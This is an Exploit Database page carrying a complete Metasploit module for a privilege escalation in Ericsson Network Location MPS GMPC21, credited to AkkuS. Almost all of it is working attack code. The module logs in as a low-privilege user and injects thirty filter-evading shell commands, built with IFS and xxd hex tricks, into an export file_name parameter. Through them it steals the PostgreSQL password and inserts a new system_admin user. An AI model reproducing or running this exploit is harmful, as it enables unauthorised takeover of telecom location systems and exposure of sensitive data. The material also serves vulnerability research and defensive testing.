Ericsson Network Location MPS GMPC21 – Privilege Escalation (Metasploit)

• Exploit Database
• 20 阅读

• 作者： AkkuS
  日期： 2021-11-02
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/50469/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Ericsson Network Location MPS - Privilege Escalation (Meow Variant)',
  'Description'=> %q(
  This module exploits privilege escalation vulnerability in Ericsson Network Location Mobile Positioning Systems.
  It creates a new admin user with SQL Query. Thanks to the Meow variant, it does this with the PostgreSQL password it stole.
  Therefore low authority user can gain the authority of "admin" on the application.
  
  	You can examine the exploit "Restrictions Bypass RCE", which is the main source of the vulnerability.	
  "version":"GMPC21","product_number":"CSH 109 025 R6A", "cluster version: 21"
  		
  /////// This 0day has been published at DEFCON29-PHV Village. ///////		
  
  ),
  'References' =>
  [
  [ 'CVE', '2021-' ],
  [ 'URL', 'https://pentest.com.tr/blog/RCE-via-Meow-Variant-along-with-an-Example-0day-PacketHackingVillage-Defcon-29.html' ],
  [ 'URL', 'https://www.ericsson.com/en/portfolio/digital-services/automated-network-operations/analytics-and-assurance/ericsson-network-location'],
  [ 'URL', 'https://www.wallofsheep.com/pages/dc29#akkus']
  ],
  'Author' =>
  [
  'Özkan Mustafa AKKUŞ <AkkuS>' # Discovery & PoC & MSF Module @ehakkus
  ],
  'License'=> MSF_LICENSE,
  'DisclosureDate' => "Apr 21 2021",
  'DefaultOptions' =>
  {
  'RPORT' => 10083,
  'SSL' => true
  }
  ))
  
  register_options([
  	OptString.new('USERNAME',[true, 'NLG Username']),
  OptString.new('PASSWORD',[true, 'NLG Password']),
  OptString.new('TARGETURI',[true, 'Base path for NLG application', '/'])
  ])
  end
  # for Origin and Referer headers
  def peer
  "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
  end
  # split strings to salt
  def split(data, string_to_split)
  word = data.scan(/"#{string_to_split}":"([\S\s]*?)"/)
  string = word.split('"]').join('').split('["').join('')
  return string
  end
  
  def cluster
  
  res = send_request_cgi({
  	# clusters information to API directories
  'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', 'clusters'),
  	'method'=> 'GET'
  })
  	
  if res && res.code == 200 && res.body =~ /version/
  cls_version = split(res.body, "version")
  cls_node_type = split(res.body, "node_type")
  cls_name = split(res.body, "cluster_name")
  cls_id = cls_version + "-" + cls_node_type + "-" + cls_name
  return cls_version, cls_node_type, cls_name, cls_id
  else
  fail_with(Failure::NotVulnerable, 'Cluster not detected. Check the informations!')
  end 
  end
  
  def permission_check(token)
  # By giving numbers to the vulnerable areas, we can easily use them in JSON format.
  json_urls = '{"1":"/cells/gsm/cgi_cells/","2":"/smpp/", "3":"/positioning_controls/gsm/", "4":"/psap/wireless/specific_routings/", "5":"/numbering/plmns/"}'
  parse = JSON.parse(json_urls)
  cls_id = cluster[3]
  cls_node_type = cluster[1]
  	
  i = 1
  while i <= 6 do
   link = parse["#{i}"]
   i +=1
   # The cells export operation returns 409 response when frequent requests are made. 
   # Therefore, if it is time for check cells import operation, we tell expoit to sleep for 2 seconds. 
   if link == "/cells/gsm/cgi_cells/"
  	 sleep(7)
   end
   filename = Rex::Text.rand_text_alpha_lower(6)
  	 
   res = send_request_cgi({
   'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cls_id, cls_node_type, link, 'export?file_name=/export/home/mpcadmin/', filename),
  	 'method'=> 'GET',
  	 'headers' =>
   {
  		 'X-Auth-Token' => token,
   'Origin' => "#{peer}"
   }
   })
  	 
   if res && res.code == 403 then # !200 
  	 next
   elsif res && res.code == 200 
  	 return link, true 
   elsif res && res.code == 400 
  	 return link, true 		 		 
   elsif res && res.code == 404 # This means i == 5 (a non index) and response returns 404.
   return "no link", false		 
   end	 
  end
  end
  
  def check
  # check connection and login
  token = login(datastore['USERNAME'], datastore['PASSWORD'])
  res = send_request_cgi({
  # product information check 
  'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cluster[3], 'product_info', 'about'),
  	'method'=> 'GET',
  	'headers' =>
  {
  		'X-Auth-Token' => token,
  'Origin' => "#{peer}"
  }
  })	
  	
  if res && res.code == 200 && res.body =~ /version/
  version = split(res.body, "version")
  pnumber = split(res.body, "product_number")
  print_status("Product Number:#{pnumber} - Version:#{version}")	
  return Exploit::CheckCode::Appears
  else
  return Exploit::CheckCode::Safe
  end
  end
  
  def login(user, pass)
  
  json_login = '{"auth": {"method": "password","password": {"user_id": "' + datastore["USERNAME"] + '","password": "' + datastore["PASSWORD"] + '"}}}'
  	
  res = send_request_cgi(
  {
  'method' => 'POST',
  'ctype'=> 'application/json',
  'uri' => normalize_uri(target_uri.path, 'api', 'login', 'nlg', 'gmpc', 'auth', 'tokens'),
  'headers' =>
  {
  'Origin' => "#{peer}"
  },
  'data' => json_login
  })	
  	
  if res && res.code == 200 && res.body =~ /true/
  auth_token = split(res.body, "authToken")
  return auth_token
  else
  fail_with(Failure::NotVulnerable, 'Login failed. Check your informations!')
  end		
  end
  
  def prep_payloads(token, link)
  configname = Rex::Text.rand_text_alpha_lower(12)
  	newuser = Rex::Text.rand_text_alpha_lower(8)
  	newpass = "PrivEsc0day!"
  #/ = 2F - y
  #; = 3B - z
  #| = 7C - p
  #>&= 3E26 - v
  #>/= 3E2F - g
  #> = 3E - k
  #< = 3C - c	
  #' = 27 - t
  #$ = 24 - d
  #\ = 5C - b
  #! = 21 - u
  #" = 22 - x	
  #( = 28 - m
  #) = 29 - i
  #, = 2C - o
  #_ = 5F - a
  	# echo `xxd -r -p <<< 2F`>y
  	payloads = '{"1":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2F`>y&&pwd>fl") +'", '
   	# echo `xxd -r -p <<< 3B`>z
  	payloads << '"2":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3B`>z&&pwd>fl") +'", ' 
  	#echo `xxd -r -p <<< 7C`>p
  	payloads << '"3":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}7C`>p&&pwd>fl") +'", '
  	#echo `xxd -r -p <<< 3E26`>v
  	payloads << '"4":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E26`>v&&pwd>fl") +'", '
  	#echo `xxd -r -p <<< 3E`>k
  	payloads << '"5":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E`>k&&pwd>fl") +'", '
  	#echo `xxd -r -p <<< 27`>t
  	payloads << '"6":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}27`>t&&pwd>fl") +'", '
  	#echo `xxd -r -p <<< 24`>d
  	payloads << '"7":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}24`>d&&pwd>fl") +'", '
  	#echo `xxd -r -p <<< 5C`>b
  	payloads << '"8":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5C`>b&&pwd>fl") +'", '
  #echo `xxd -r -p <<< 21`>u
  	payloads << '"9":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}21`>u&&pwd>fl") +'", '
  	#echo `xxd -r -p <<< 22`>x
  	payloads << '"10":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}22`>x&&pwd>fl") +'", '	
  	#echo `xxd -r -p <<< 28`>x
  	payloads << '"11":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}28`>m&&pwd>fl") +'", '
  	#echo `xxd -r -p <<< 29`>x
  	payloads << '"12":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}29`>i&&pwd>fl") +'", '
  	#echo `xxd -r -p <<< 2C`>x
  	payloads << '"13":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2C`>o&&pwd>fl") +'", '
  	#echo `xxd -r -p <<< 5F`>x
  	payloads << '"14":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5F`>a&&pwd>fl") +'", '
  	#cp /opt/consul/setting/factory/GMPC/parameter/gmpc_schema.json [random-file-name].json
  	payloads << '"15":"' + Rex::Text.uri_encode("IFS=',.';cp${IFS}`cat${IFS}y`opt`cat${IFS}y`consul`cat${IFS}y`setting`cat${IFS}y`factory`cat${IFS}y`GMPC`cat${IFS}y`parameter`cat${IFS}y`gmpc_schema.json${IFS}#{configname}.json&&pwd>fl") +'", '
  	#echo sed '31843!d' [random-file-name].json > pass1.sh 
  	payloads << '"16":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}sed${IFS}`cat${IFS}t`31843`cat${IFS}u`d`cat${IFS}t`${IFS}#{configname}.json${IFS}>pass1.sh&&pwd>fl") +'", '
  	#chmod +x pass1.sh
  	payloads << '"17":"' + Rex::Text.uri_encode("IFS=',.';chmod${IFS}+x${IFS}pass1.sh&&pwd>fl") +'", '
  	#sh pass1.sh > pass2
  	payloads << '"18":"' + Rex::Text.uri_encode("IFS=',.';sh${IFS}pass1.sh>pass2&&pwd>fl") +'", '
  	#cat pass2 | awk -F[:,\"] '{print $5}' > pass3.sh
  	payloads << '"19":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}cat${IFS}pass2${IFS}`cat${IFS}p`${IFS}awk${IFS}-F[:,`cat${IFS}b``cat${IFS}x`]${IFS}`cat${IFS}t`{print${IFS}`cat${IFS}d`5}`cat${IFS}t`>pass3.sh&&pwd>fl") +'", '	
  	#chmod +x pass3.sh
  	payloads << '"20":"' + Rex::Text.uri_encode("IFS=',.';chmod${IFS}+x${IFS}pass3.sh&&pwd>fl") +'", '
  	#sh pass3.sh > passlast
  	#passlast will be pgsql password...
  	payloads << '"21":"' + Rex::Text.uri_encode("IFS=',.';sh${IFS}pass3.sh>passlast&&pwd>fl") +'", '	
  	#echo PGPASSWORD='`cat passlast`' > sqlq1
  	payloads << '"22":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}PGPASSWORD=`cat${IFS}t``cat${IFS}passlast``cat${IFS}t`>sqlq1&&pwd>fl") +'", '
  	#echo '/opt/pgsql/bin/psql -U mps -d mpsdb -c "INSERT INTO ' > sqlq2
  	payloads << '"23":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}y`opt`cat${IFS}y`pgsql`cat${IFS}y`bin`cat${IFS}y`psql${IFS}-U${IFS}mps${IFS}-d${IFS}mpsdb${IFS}-c${IFS}`cat${IFS}x`INSERT${IFS}INTO>sqlq2&&pwd>fl") +'", '
  	#echo 'omuser(id,enabled,fail_times,latest_fail_at,name' > sqlq3
  	payloads << '"24":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}omuser`cat${IFS}m`id`cat${IFS}o`enabled`cat${IFS}o`fail`cat${IFS}a`times`cat${IFS}o`latest`cat${IFS}a`fail`cat${IFS}a`at`cat${IFS}o`name>sqlq3&&pwd>fl") +'", '
  	#echo ',password,password_expires_at,role)' > sqlq4
  	payloads << '"25":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}o`password`cat${IFS}o`password`cat${IFS}a`expires`cat${IFS}a`at`cat${IFS}o`role`cat${IFS}i`>sqlq4&&pwd>fl") +'", '
  	#echo "VALUES ('privesc155',0,0,0,'test8day','" > sqlq5
  	payloads << '"26":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}VALUES${IFS}`cat${IFS}m``cat${IFS}t`#{newuser}`cat${IFS}t``cat${IFS}o`0`cat${IFS}o`0`cat${IFS}o`0`cat${IFS}o``cat${IFS}t`#{newuser}`cat${IFS}t``cat${IFS}o``cat${IFS}t`>sqlq5&&pwd>fl") +'", '
  	# echo ada628c3ae88b9cf90e61d26d2d852c161e30de9',0,'system_admin');" > sqlq6
  	payloads << '"27":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}ada628c3ae88b9cf90e61d26d2d852c161e30de9`cat${IFS}t``cat${IFS}o`0`cat${IFS}o``cat${IFS}t`system`cat${IFS}a`admin`cat${IFS}t``cat${IFS}i``cat${IFS}z``cat${IFS}x`>sqlq6&&pwd>fl") +'", '
  	#echo `cat sqlq1` `cat sqlq2``cat sqlq3``cat sqlq4` `cat sqlq5``cat sqlq6` > sqlq7.sh
  	payloads << '"28":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}sqlq1`${IFS}`cat${IFS}sqlq2`${IFS}`cat${IFS}sqlq3``cat${IFS}sqlq4`${IFS}`cat${IFS}sqlq5``cat${IFS}sqlq6`>sqlq7.sh&&pwd>fl") +'", '
  #chmod +x sqlq7.sh
  	payloads << '"29":"' + Rex::Text.uri_encode("IFS=',.';chmod${IFS}+x${IFS}sqlq7.sh&&pwd>fl") +'", '
  	#sh sqlq7.sh
  	payloads << '"30":"' + Rex::Text.uri_encode("IFS=',.';sh${IFS}sqlq7.sh&&pwd>fl") +'"}'
  	
  	if link == "/cells/gsm/cgi_cells/"
  	print_status("Your user must be 'gmpc_celldata_admin'. That's why Expoit going to run slowly. Please be patient!")
  	end	
  	parse = JSON.parse(payloads)
  	cls_id = cluster[3]
  	cls_node_type = cluster[1]
  	i = 1
  	while i <= 31 do
  	 pay = parse["#{i}"]
  	 i +=1
  	 
  	 if link == "/cells/gsm/cgi_cells/"
  	sleep(15)
  	 end
  
   	 send_payloads(cls_id, cls_node_type, token, link, pay)	
   if i == 31
   check_user(newuser, newpass, link)	
   end		 
   end
  end
  
  def check_user(user, pass, link)
  
  json_login = '{"auth": {"method": "password","password": {"user_id": "' + user + '","password": "' + pass + '"}}}'
  if link == "/cells/gsm/cgi_cells/"
  	print_good("Privilege escalation successful!")
  	print_good("The new system admin user has been created successfully.")
  	print_status("New User : #{user}")
  	print_status("New Pass : #{pass}")
  else
  res = send_request_cgi(
  {
  'method' => 'POST',
  'ctype'=> 'application/json',
  'uri' => normalize_uri(target_uri.path, 'api', 'login', 'nlg', 'gmpc', 'auth', 'tokens'),
  'headers' =>
  {
  'Origin' => "#{peer}"
  },
  'data' => json_login
  })	
  	
  if res && res.code == 200 && res.body =~ /true/
  	print_good("Privilege escalation successful!")
  print_good("The new system admin user has been created successfully.")
  	print_status("New User : #{user}")
  	print_status("New Pass : #{pass}")
  else
  	fail_with(Failure::NotVulnerable, 'Something went wrong. New user could not be created.')
  end
  end	
  end
  
  def get_pgsql_pass(config_name)
  
  res = send_request_cgi({
  'uri' => normalize_uri(target_uri.path, config_name),
  	'method'=> 'GET',
  	'headers' =>
  {
  'Origin' => "#{peer}"
  }
  })
  	
  	parse = JSON.parse(res.body) 
  	pass = parse['AML']
  	puts pass
  end
  	
  	
  def send_payloads(id, type, token, link, pay)	
  
  res = send_request_cgi({
  'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', id, type, link, "export?file_name=/export/home/mpcadmin/%7C#{pay}"),
  	'method'=> 'GET',
  	'headers' =>
  {
  		'X-Auth-Token' => token,
  'Origin' => "#{peer}"
  }
  })	
  
  end
  
  ##
  # Exploiting phase
  ##
  def run
  
  auth_token = login(datastore['USERNAME'], datastore['PASSWORD'])
  unless permission_check(auth_token)[1] == true
  fail_with(Failure::NotVulnerable, 'The user has no permission to perform the operation!')
  else 
  perm_link = permission_check(auth_token)[0]
  print_good("Excellent! The user #{datastore['USERNAME']} has permission on #{perm_link}")
  end 	
  	
  prep_payloads(auth_token, perm_link)
  	
  end
  end